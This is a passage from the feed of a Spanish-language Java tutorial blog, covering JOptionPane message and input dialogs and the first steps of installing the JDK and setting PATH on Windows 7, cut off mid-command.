La declaración &lt;span style="font-style: italic; font-weight: bold;"&gt;import&lt;/span&gt; es una declaración que se utiliza para identificar las clases predefinidas que se utilizan en nuestro programa en Java. Esta declaración ayuda al compilador a localizar las clases que deseamos utilizar. Importante saber es que todas las declaraciones &lt;span style="font-style: italic; font-weight: bold;"&gt;import&lt;/span&gt; deben de aparecer antes de las declaración de la clase, si lo ponemos dentro o después de la declaración de una clase, es un error de sintaxis . Por cada nueva clase que utilizamos del API de Java debemos indicar el paquete en el que se encuentra esa clase.&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Ahora entonces, la linea import &lt;span style="font-style: italic;"&gt;javax.swing.JOptionPane;&lt;/span&gt; indica al compilador que en nuestro programa utilizaremos la clase &lt;span style="font-style: italic;"&gt;JOptionPane&lt;/span&gt; del paquete &lt;span style="font-style: italic;"&gt;javax.swing&lt;/span&gt;.&lt;/div&gt;
&lt;br /&gt;
&lt;span style="color: #33ff33;"&gt;JOptionPane.showMessageDialog( null, "¡Bienvenido a la programacion en Java!\n\n    http://delfirosales.blogspot.com" );&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Las lineas anteriores contenidas en el método main, llaman al método &lt;span style="font-style: italic; font-weight: bold;"&gt;showMessageDialog&lt;/span&gt; de la clase &lt;span style="font-style: italic; font-weight: bold;"&gt;JOptionPane&lt;/span&gt; para mostrar un cuadro de dialogo que contiene un mensaje. Este método requiere de dos argumentos y cuando un método requiere varios argumentos, estos se separan con &lt;span style="font-style: italic;"&gt;comas&lt;/span&gt; ( , ). Por ahora el primer argumento sera la palabra clave &lt;span style="font-style: italic; font-weight: bold;"&gt;null&lt;/span&gt; y el segundo argumento &lt;span style="font-style: italic;"&gt;"¡Bienvenido a la programacion en Java!\n\n    http://delfirosales.blogspot.com"&lt;/span&gt; es la cadena a mostrar en el cuadro de dialogo. El primer argumento ayuda a la aplicación en Java a determinar en donde se va a colocar el cuadro de dialogo, cuando el primero argumento es &lt;span style="font-style: italic; font-weight: bold;"&gt;null&lt;/span&gt;, el cuadro de dialogo aparece en el centro de la pantalla de la computadora, tal como se muestra en la siguiente imagen.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-X8z7BR3FIVw/Tst--Lwxh7I/AAAAAAAABWE/gmtNDEa2OLk/s1600/Salida_JOptionPane_Java.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677771362004993970" src="http://3.bp.blogspot.com/-X8z7BR3FIVw/Tst--Lwxh7I/AAAAAAAABWE/gmtNDEa2OLk/s400/Salida_JOptionPane_Java.png" style="cursor: hand; cursor: pointer; display: block; height: 186px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-style: italic;"&gt;Usando JOptionPane para mostrar la salida de la aplicación PrimerPrograma.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
La &lt;span style="font-style: italic;"&gt;barra de titulo&lt;/span&gt; del cuadro de dialogo contiene la cadena &lt;span style="font-style: italic;"&gt;Mensaje&lt;/span&gt;,  esto para indicar que este cuadro de dialogo va a presentar un mensaje  al usuario. El cuadro de dialogo incluye un botón Aceptar (OK), que el  usuario puede oprimir para &lt;span style="font-style: italic;"&gt;descartarlo (ocultarlo)&lt;/span&gt;.&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-5Cxi52SXmTo/Tst_K2MrUOI/AAAAAAAABWQ/JkUVD3-79kE/s1600/Cuadro%2Bde%2BDialogo.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677771579554746594" src="http://4.bp.blogspot.com/-5Cxi52SXmTo/Tst_K2MrUOI/AAAAAAAABWQ/JkUVD3-79kE/s400/Cuadro%2Bde%2BDialogo.png" style="cursor: hand; cursor: pointer; display: block; height: 109px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-style: italic;"&gt;Cuadro de Dialogo de Mensaje.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
El paquete &lt;span style="font-style: italic; font-weight: bold;"&gt;javax.swing&lt;/span&gt; contiene muchas clases que ayudan a los programadores en Java a crear &lt;span style="font-style: italic;"&gt;Interfaces Gráficas de Usuario (GUIs)&lt;/span&gt; para las aplicaciones. Los &lt;span style="font-style: italic;"&gt;componentes de la GUI&lt;/span&gt; facilitan la entrada de datos al usuario del programa y la presentación de los datos de salida. Tal como lo comentamos anteriormente en las GUIs (interfaz gráfica de usuario) podemos mostrar no solo texto, si no también elementos gráficos como botones, casillas de verificación, menús, cuadros de texto e imágenes. Todos estos forman parte de la GUI y permiten interactuar con el programa.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Introducción de Texto en un Cuadro de Dialogo (Diálogos de Entrada)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Hay varios tipos de cuadros de dialogo de la clase &lt;span style="font-style: italic; font-weight: bold;"&gt;JOptionPane&lt;/span&gt;. Consideremos el anterior uno de ellos, el &lt;span style="font-style: italic;"&gt;cuadro de dialogo de salida&lt;/span&gt;, es el que genera el método &lt;span style="font-style: italic;"&gt;showMessageDialog&lt;/span&gt;. Ahora toca mostrar el cuadro de &lt;span style="font-style: italic;"&gt;dialogo de entrada&lt;/span&gt;, el cual permite al usuario introducir datos en el programa. El cuadro de &lt;span style="font-style: italic;"&gt;dialogo de entrada&lt;/span&gt; muestra un mensaje de confirmación y muestran un icono de signo de pregunta esperando la entrada del usuario. Al hacer clic en el botón Aceptar se procede el valor introducido. El siguiente programa utiliza otro cuadro de dialogo predefinido de la clase JoptionPane, que permite al usuario introducir un valor para utilizarlo en el programa. En este caso pide el nombre del usuario y responde con un dialogo de mensaje que contiene un saludo y el nombre que el usuario haya introducido.&lt;/div&gt;
&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: #9fc5e8;"&gt;//Entrada básica con un cuadro de dialogo.
import javax.swing.JOptionPane;

public class EjemploGUI
{
 public static void main ( String args[] )
 {
  // Pide al usuario que escriba su nombre
  String nombre = JOptionPane.showInputDialog( "Cual es su nombre?" );
  
  // Crea el mensaje
  String mensaje = String.format( "Bienvenido, %s, a la programación en Java!", nombre );
  
  // Muestra el mensaje para dar la bienvenida al usaurio por su nombre
  JOptionPane.showMessageDialog( null, mensaje, JOptionPane.INFORMATION_MESSAGE );
 }
}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;a href="http://3.bp.blogspot.com/-gPRxgVUME9I/Tst_UKjxQyI/AAAAAAAABWc/nywnTf9xp58/s1600/Ejemplo_GUI_Java.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677771739639137058" src="http://3.bp.blogspot.com/-gPRxgVUME9I/Tst_UKjxQyI/AAAAAAAABWc/nywnTf9xp58/s400/Ejemplo_GUI_Java.png" style="cursor: hand; cursor: pointer; display: block; height: 186px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-style: italic;"&gt;Cuadro de dialogo de Entrada, pide al usuario que escriba su nombre.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-UwV7PZLlBPk/Tst_dg3MnxI/AAAAAAAABWo/d3QbYgS-l2w/s1600/GUI_showInputDialog.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677771900245024530" src="http://4.bp.blogspot.com/-UwV7PZLlBPk/Tst_dg3MnxI/AAAAAAAABWo/d3QbYgS-l2w/s400/GUI_showInputDialog.png" style="cursor: hand; cursor: pointer; display: block; height: 186px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-style: italic;"&gt;Muestra el mensaje para dar la bienvenida al usuario por su nombre.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;span style="color: #33ff33;"&gt;String nombre = JOptionPane.showInputDialog( "Cual es su nombre?" );&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Las líneas anteriores utilizan el método &lt;span style="font-style: italic; font-weight: bold;"&gt;showInputDialog&lt;/span&gt; de &lt;span style="font-style: italic; font-weight: bold;"&gt;JOptionPane&lt;/span&gt; para mostrar el dialogo de entrada, el cual contiene un indicador y un campo (conocido como &lt;span style="font-style: italic;"&gt;campo de texto&lt;/span&gt;) en la cual el usuario puede introducir texto. El argumento de &lt;span style="font-style: italic;"&gt;showInputDialog&lt;/span&gt; es el indicador que muestra lo que el usuario debe escribir. El usuario escribe caracteres en el campo de texto, a continuación, hace clic en el botón &lt;span style="font-style: italic; font-weight: bold;"&gt;Aceptar&lt;/span&gt; o presionar la tecla intro para devolver la cadena de caracteres (objeto String) al programa. El método showInputDialog devuelve un objeto &lt;span style="font-style: italic;"&gt;String&lt;/span&gt; que contiene los caracteres tecleados por el usuario. Almacenamos el objeto String en la variable &lt;span style="font-style: italic;"&gt;nombre&lt;/span&gt;. Si se oprime el botón &lt;span style="font-style: italic; font-weight: bold;"&gt;Cancelar&lt;/span&gt; en el cuadro de dialogo, el método devuelve null y el programa muestra la palabra clave “null” como el nombre.&lt;/div&gt;
&lt;br /&gt;
&lt;span style="color: #33ff33;"&gt;String mensaje = String.format( "Bienvenido, %s, a la programación en Java!", nombre );&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
La linea anterior es una instrucción que utiliza el método &lt;span style="font-style: italic;"&gt;static String&lt;/span&gt; llamado &lt;span style="font-style: italic; font-weight: bold;"&gt;format&lt;/span&gt; para devolver un objeto String que contiene un saludo con el nombre de usuario. El método format es similar al metodo &lt;span style="font-style: italic;"&gt;System.out.printf&lt;/span&gt;, excepto que &lt;span style="font-style: italic;"&gt;format&lt;/span&gt; devuelve el objeto &lt;span style="font-style: italic;"&gt;String&lt;/span&gt; con formato, en vez de mostrarlo en una ventana de comandos.&lt;/div&gt;
&lt;br /&gt;
&lt;span style="color: #33ff33;"&gt;JOptionPane.showMessageDialog( null, mensaje );&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
La línea anterior muestra el saludo en un cuadro de dialogo del mensaje.&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-weight: bold;"&gt;Iconos o constantes de dialogo utilizados por JoptionPane&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
La clase &lt;span style="font-style: italic; font-weight: bold;"&gt;JoptionPane&lt;/span&gt; proporciona varias versiones sobrecargadas de los métodos &lt;span style="font-style: italic;"&gt;showInputDialog&lt;/span&gt; y &lt;span style="font-style: italic;"&gt;showMessageDialog&lt;/span&gt;, así como métodos que muestran otros tipos de diálogos. Los Iconos o constantes que representan los tipos de diálogos de mensajes se muestran en la siguiente figura.&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-g7MVF33q38g/Tst_lo6-VXI/AAAAAAAABW0/BPN_AQ81v50/s1600/MensajesDialogo_JOptionPane.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677772039847302514" src="http://2.bp.blogspot.com/-g7MVF33q38g/Tst_lo6-VXI/AAAAAAAABW0/BPN_AQ81v50/s400/MensajesDialogo_JOptionPane.png" style="cursor: hand; cursor: pointer; display: block; height: 171px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;span style="font-style: italic;"&gt;Iconos o contantes static de la clase JoptionPane para diálogos de mensaje.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style="text-align: justify;"&gt;
Todos los tipos de dialogo de mensaje, excepto &lt;span style="font-style: italic;"&gt;PLAIN_MESSAGE&lt;/span&gt;, muestran un icono a la izquierda del mensaje. Estos iconos proporcionan una indicación visual de la importancia del mensaje para el usuario. Por ejemplo el icono &lt;span style="font-style: italic;"&gt;QUESTION_MESSAGE&lt;/span&gt; es el icono predeterminado para un cuadro de dialogo de entrada.&lt;/div&gt;
&lt;br /&gt;
&lt;i&gt;Referencias:&lt;/i&gt;&lt;br /&gt;
&lt;a href="http://download.oracle.com/javase/1.4.2/docs/api/javax/swing/JOptionPane.html"&gt;Class JOptionPane&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.amazon.com/Java-Program-early-objects-Deitel/dp/0132575663"&gt;Java How to Program (early objects) (9th Edition) (Deitel) &lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.amazon.com/Java-Programming-Joyce-Farrell/dp/032459951X/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1321936125&amp;amp;sr=1-1"&gt;Java Programming, Joyce Farrell.&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.amazon.com/Introduction-Java-Programming-Comprehensive-8th/dp/0132130807/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1321833267&amp;amp;sr=1-1"&gt;Introduction to Java Programming, Comprehensive (8th Edition)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-5255646805873008890?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=zisCwsnggGY:9DIfX7pjP5k:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=zisCwsnggGY:9DIfX7pjP5k:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=zisCwsnggGY:9DIfX7pjP5k:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=zisCwsnggGY:9DIfX7pjP5k:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=zisCwsnggGY:9DIfX7pjP5k:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=zisCwsnggGY:9DIfX7pjP5k:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=zisCwsnggGY:9DIfX7pjP5k:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/zisCwsnggGY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/5255646805873008890/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=5255646805873008890" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/5255646805873008890?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/5255646805873008890?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/zisCwsnggGY/usando-cuadros-de-dialogo-para.html" title="Usando cuadros de diálogo para Entrada/Salida con JOptionPane" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-AJxs66r1c6Q/Tst-zNvmJWI/AAAAAAAABV4/nZqUfptySnc/s72-c/Clases_Metodos_Java.png" height="72" width="72" /><thr:total>0</thr:total><georss:featurename>Chilpancingo, GRO, México</georss:featurename><georss:point>17.55 -99.5</georss:point><georss:box>17.4894415 -99.578964 17.6105585 -99.421036</georss:box><feedburner:origLink>http://delfirosales.blogspot.com/2011/11/usando-cuadros-de-dialogo-para.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUABSXY4cSp7ImA9WhRRGUg.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-7424755454033817913</id><published>2011-11-21T00:50:00.021-06:00</published><updated>2011-12-03T17:09:18.839-06:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-12-03T17:09:18.839-06:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Programming" /><category scheme="http://www.blogger.com/atom/ns#" term="Java" /><category scheme="http://www.blogger.com/atom/ns#" term="Notas" /><category scheme="http://www.blogger.com/atom/ns#" term="JDK" /><category scheme="http://www.blogger.com/atom/ns#" term="JVM" /><title>Ejecución de Aplicaciones Java usando la Linea de Comandos</title><content type="html">&lt;div style="text-align: justify;"&gt;Lo primero que haremos para compilar y ejecutar aplicaciones Java, es descargarnos el &lt;a href="http://www.oracle.com/technetwork/java/javase/downloads/java-se-jdk-7-download-432154.html"&gt;JDK (Java Development Kit)&lt;/a&gt; que es un software que provee herramientas de desarrollo para la creacion de programas en Java. Hay versiones disponibles para Windows, Linux, y Solaris. Desde la pagina &lt;a href="http://www.oracle.com/technetwork/java/index.html"&gt;http://www.oracle.com/technetwork/java/index.html&lt;/a&gt; podemos buscar y examinar la documentación en línea o descargar el archivo de la documentación del JDK e instalarlo en nuestro equipo. Una vez instalado, podremos buscar y navegar por la documentación a nivel local.&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;JDK en Windows&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En los sistemas operativos Microsoft Windows sus variables de entorno son:&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;i&gt;JAVAPATH:&lt;/i&gt; es una ruta completa del directorio donde está instalado JDK.&lt;/li&gt;&lt;li&gt;&lt;i&gt;CLASSPATH&lt;/i&gt;: son las bibliotecas o clases de usuario.&lt;/li&gt;&lt;li&gt;&lt;i&gt;PATH&lt;/i&gt;: variable donde se agrega la ubicación de JDK.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Los programas más importantes que se incluyen son:&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Appletviewer&lt;/span&gt;: es un visor de applets para generar sus vistas previas, ya que un applet carece de método main y no se puede ejecutar con el programa java.&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;Javac&lt;/span&gt;: es el compilador de Java.&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;java&lt;/span&gt;: es el intérprete de Java.&lt;/li&gt;&lt;li&gt;&lt;span style="font-style: italic;"&gt;javadoc&lt;/span&gt;: genera la documentación de las clases Java de un programa&lt;/li&gt;&lt;/ul&gt;Primero iremos a la siguiente pagina &lt;a href="http://www.oracle.com/technetwork/java/javase/downloads/java-se-jdk-7-download-432154.html"&gt;http://www.oracle.com/technetwork/java/javase/downloads/java-se-jdk-7-download-432154.html&lt;/a&gt; donde descargaremos el JDK.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://2.bp.blogspot.com/-hviOKRlreGc/Tsn1RNYCUuI/AAAAAAAABTk/FHJ_-ML7EsI/s1600/Descargar_Java.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677338481274278626" src="http://2.bp.blogspot.com/-hviOKRlreGc/Tsn1RNYCUuI/AAAAAAAABTk/FHJ_-ML7EsI/s400/Descargar_Java.png" style="cursor: hand; cursor: pointer; display: block; height: 268px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez descargado el JDK, lo ejecutamos y comenzara un asistente que nos guiara a traves del proceso de instalacion. Podemos cambiar el directorio donde instalaremos JDK, pero por defaul es en el directorio C:\Program Files\Java. En un par de minutos solo tendremos que hacer clic en finalizar para terminar el proceso de instalacion. Ahora toca el proceso de establecer las opciones del class y la classpath. Estos valores indican al sistema operativo donde encontrar el compilador Java y sus clases.&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Configuración del path en Windows 7&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Java se instala por defecto en la ruta C:\Program Files\Java. En este directorio hay dos carpetas llamadas jdk1.7.0 y jre7 que contienen el &lt;span style="font-style: italic;"&gt;Java Development Kit, o herramientas de desarrollo y entorno de ejecución&lt;/span&gt;. Tenemos que poner atencion en la primera carpeta que contiene el JDK, esta carpeta contiene una carpeta llamada &lt;span style="font-style: italic;"&gt;bin&lt;/span&gt;, la que contiene todos los programas de Java necesarios para compilar y ejecutar codigo Java. Los programas mas importantes de esta carpeta son &lt;span style="font-style: italic;"&gt;javac.exe&lt;/span&gt; (compilador de Java) y &lt;span style="font-style: italic;"&gt;appletviewer.exe&lt;/span&gt; (la utilidad de visor de applets). Tenemos que agregar esta carpeta a las variables de entorno de nuestro sistema que para que podamos invocar el compilador de Java desde cualquier ubicacion de nuestro disco duro. Este proceso se muestra a continuacion.&lt;/div&gt;&lt;br /&gt;Clic boton inicio de Windows.&lt;br /&gt;Seleccionar Panel de Control.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-rsvMmwKIltc/Tsn1lQuDV4I/AAAAAAAABTw/8R1oB0LovTw/s1600/Sistema_Seguridad.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677338825769310082" src="http://4.bp.blogspot.com/-rsvMmwKIltc/Tsn1lQuDV4I/AAAAAAAABTw/8R1oB0LovTw/s400/Sistema_Seguridad.png" style="cursor: hand; cursor: pointer; display: block; height: 206px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;Seleccionar la opcion de Sistema y Seguridad.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-AxA_iZMnULw/Tsn1yL-XN7I/AAAAAAAABT8/iMbMnJJTJWs/s1600/Sistema.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677339047833843634" src="http://3.bp.blogspot.com/-AxA_iZMnULw/Tsn1yL-XN7I/AAAAAAAABT8/iMbMnJJTJWs/s400/Sistema.png" style="cursor: hand; cursor: pointer; display: block; height: 206px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;En el siguiente paso seleccionar la opcion de Sistema.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://4.bp.blogspot.com/-AkN7u25f3WM/Tsn2C58lw5I/AAAAAAAABUI/uDGY49iM9GY/s1600/Configuracion_Avanzada_Sistema.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677339335052346258" src="http://4.bp.blogspot.com/-AkN7u25f3WM/Tsn2C58lw5I/AAAAAAAABUI/uDGY49iM9GY/s400/Configuracion_Avanzada_Sistema.png" style="cursor: hand; cursor: pointer; display: block; height: 206px; margin: 0px auto 10px; text-align: center; width: 400px;" /&gt;&lt;/a&gt;&lt;br /&gt;En la seccion de la izquierda, seleccionar la opcion de Configuración avanzada del sistema.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-O4UppiaVpbs/Tsn2V5qGWoI/AAAAAAAABUU/msrvFB6ZJ8g/s1600/Opciones%2BAvanzadas.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677339661392304770" src="http://1.bp.blogspot.com/-O4UppiaVpbs/Tsn2V5qGWoI/AAAAAAAABUU/msrvFB6ZJ8g/s400/Opciones%2BAvanzadas.png" style="cursor: hand; cursor: pointer; display: block; height: 400px; margin: 0px auto 10px; text-align: center; width: 346px;" /&gt;&lt;/a&gt;&lt;br /&gt;En la seccion de Configuracion avanzada del sistema, dar clic en las variables de entorno y nos mostrara una ventana similar a la siguiente imagen.&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-fWaerj4dVQM/Tsn2fyQI8DI/AAAAAAAABUg/1ZkCufMY1e4/s1600/Variables_Entorno.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677339831203065906" src="http://3.bp.blogspot.com/-fWaerj4dVQM/Tsn2fyQI8DI/AAAAAAAABUg/1ZkCufMY1e4/s400/Variables_Entorno.png" style="cursor: hand; cursor: pointer; display: block; height: 400px; margin: 0px auto 10px; text-align: center; width: 361px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En esta ventana, seccion de Variables de entorno, nos dezplazaremos hacia abajo y buscaremos la opcion Path, la seleccionamos y luego hacemos clic en editar. En esta seccion escribiremos/copiaremos la ruta donde esta el &lt;span style="font-style: italic;"&gt;bin&lt;/span&gt; de Java, en mi caso.&lt;/div&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;;C:\Program Files\Java\jdk1.7.0\bin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-5UIh6QxoRc0/Tsn2taJxK1I/AAAAAAAABUs/ro8BRxoclSo/s1600/Path_Java.png"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5677340065252059986" src="http://2.bp.blogspot.com/-5UIh6QxoRc0/Tsn2taJxK1I/AAAAAAAABUs/ro8BRxoclSo/s400/Path_Java.png" style="cursor: hand; cursor: pointer; display: block; height: 153px; margin: 0px auto 10px; text-align: center; width: 379px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Una vez realizado este proceso podremos verificar que este todo correcto abriendo el Simbolo del Sistema y escribiendo &lt;span style="font-style: italic;"&gt;java -version&lt;/span&gt;, este comando invoca el compilador de Java y nos muestra la version de Java instalado&lt;/div&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;C:\Users\Delfi&amp;gt;java -versionjava version 